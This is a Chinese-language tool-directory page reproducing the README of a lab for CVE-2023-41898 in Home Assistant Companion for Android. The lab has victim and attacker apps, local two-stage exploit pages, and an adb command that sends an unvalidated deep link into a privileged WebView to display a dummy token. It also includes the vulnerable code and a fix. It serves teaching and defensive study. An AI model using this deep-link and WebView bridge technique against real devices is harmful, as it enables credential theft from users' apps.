Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/lazybear8372/cve-2023-41898_lab
Android安全漏洞分析移动应用渗透测试学习与教育实验室与实践
GitHublazybear8372/cve-2023-41898_lab

CVE-2023-41898_Lab

逐步解析 CVE-2023-41898:利用 Home Assistant Android 中未经验证的深层链接,在特权 WebView 中加载任意 URL,并泄露伪造的令牌。

查看仓库
191个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-41898 未经验证的 Deep Link 实验室

这是一个基于 Home Assistant Companion for Android 的公开漏洞报告(GHSL-2023-142)以及漏洞版本 2023.8.2 的开源结构制作的教育性精简复现实验环境。

不会使用真实的 Home Assistant 服务器、账户或令牌,仅暴露名为 LAB_TOKEN_CVE_2023_41898_NOT_REAL 的固定虚拟令牌。

漏洞概述

  • 目标:Home Assistant Companion for Android
  • 受影响版本:低于 2023.9.2(依据官方公告)
  • 修复版本:2023.9.2
  • 分类:未经验证的 Deep Link 处理 / WebView 中的任意 URL 加载
  • 后果:可执行任意 JavaScript、调用受限的原生功能,并可能窃取凭据

实验室结构

Attacker App
  │ explicit ACTION_VIEW Intent
  │ data=http://10.0.2.2:8000/exploit.html
  ▼
Victim MyActivity (exported)
  │ 未经验证地调用 JavaScript-enabled WebView.loadUrl()
  ▼
exploit.html
  │ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
  ▼
Victim WebViewActivity (privileged WebView)
  │ 向攻击者页面暴露 externalApp JavaScript bridge
  ▼
显示虚拟 LAB_TOKEN

Android manifest 中的 intent-filter 仅定义哪些 URI 可与隐式 Intent 匹配,并不会自动验证显式指定组件的 Intent 的 data URI。

组件

  • victim/:复现易受攻击的 deep-link 处理器和特权 WebView 的应用
  • attacker/:向受害者应用的 exported Activity 发送显式 Intent 的应用
  • web/:在本地提供的第一、二阶段攻击页面
  • dist/:验证完成的 debug APK
  • UPSTREAM.md:原始源码与本实验实现之间的对应关系

构建

要求:JDK 17 或更高版本、Android SDK 36、Gradle/Android Gradle Plugin 缓存或互联网连接。

./gradlew :victim:assembleDebug :attacker:assembleDebug

安装与实操

仅在获得授权的模拟器或测试设备上进行。

1. 安装 APK

adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk

2. 启动本地攻击页面

在实验室根目录下执行以下命令。

python3 -m http.server 8000 --directory web

在 Android Studio 默认模拟器中,10.0.2.2 指向宿主 PC 的 loopback 地址。如果使用真实测试设备,请将 web/exploit.html 和攻击应用中的 URL 改为 PC 的局域网 IP。

3. 验证攻击流程

  1. 安装 CVE-2023-41898 Victim 和 CVE-2023-41898 Attacker 应用。
  2. 启动本地 HTTP 服务器。
  3. 在 Attacker 应用中点击执行易受攻击的 deep link 流程。
  4. 第一个攻击页面会跳转到内部 homeassistant://navigate/ URL。
  5. 确认第二个 WebView 是否加载了攻击者页面并显示 LAB_TOKEN_CVE_2023_41898_NOT_REAL。

也可以使用 ADB 在不借助攻击应用的情况下触发第一阶段。

adb shell am start \
  -n lab.cve202341898.victim/.MyActivity \
  -a android.intent.action.VIEW \
  -d 'http://10.0.2.2:8000/exploit.html'

漏洞代码与修复方向

易受攻击的实现会直接加载外部 URI。

Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());

修复时应使用严格的 allowlist 验证解析后的 URI 的 scheme、host、port 和 path。不要使用字符串 startsWith 比较,因为存在用户信息([email protected])、子域名和编码绕过风险。

Uri uri = getIntent().getData();
boolean trusted = uri != null
        && "https".equals(uri.getScheme())
        && "my.home-assistant.io".equals(uri.getHost())
        && uri.getPort() == -1
        && uri.getPath() != null
        && uri.getPath().startsWith("/redirect/");
if (!trusted) {
    finish();
    return;
}

此外,应移除 WebView 中不必要的 JavaScript 和 JavascriptInterface,并对所有导航和重定向应用相同的 URL 验证。

安全边界与原版的差异

  • 没有构建完整的原始应用,仅通过一个小型 Java 项目复现了易受攻击的数据流。
  • 不包含真实的包名、凭据存储、服务器通信和智能家居功能。
  • 仅使用固定的虚拟令牌,而非真实认证令牌。
  • 仅使用宿主 PC 上的本地 HTTP 服务器,而非互联网攻击服务器。

参考资料

  • GitHub Security Lab GHSL-2023-142:https://securitylab.github.com/advisories/GHSL-2023-142_Home_Assistant_Companion_for_Android/
  • Home Assistant 安全公告 GHSA-jvpm-q3hq-86rg:https://github.com/home-assistant/core/security/advisories/GHSA-jvpm-q3hq-86rg
  • 漏洞版本源码标签 2023.8.2:https://github.com/home-assistant/android/tree/2023.8.2
下载工具